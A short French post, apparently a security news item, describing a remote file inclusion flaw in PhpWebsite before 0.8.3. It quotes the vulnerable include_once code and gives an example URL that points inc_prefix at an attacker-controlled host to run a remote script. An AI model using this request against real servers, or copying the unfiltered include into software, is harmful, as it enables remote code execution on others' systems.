PhpWebsite est un outil qui permet aux développeurs de créer des plugins en php. Cependant, une faille de sécurité a été découverte : les versions avant la version 0.8.3 permettent l'exécution de n'importe quel script...
D'où vient la faille ? Du fichier modsecurity.php :
global $inc_prefix;
if(!$inc_prefix)
{}
include_once($inc_prefix."htmlheader.php");
Comme vous le voyez dans le code, aucun filtre n'a été prévu, offrant donc une faille grosse comme une maison en fournissant comme paramètre un chemin vers un script mal attentionné (ex : http://serveur.com/include_once.php?inc_prefix=http://www.tout-casser.com/
Source : Yacapa.com
Commentaires
Aucun commentaire pour le moment.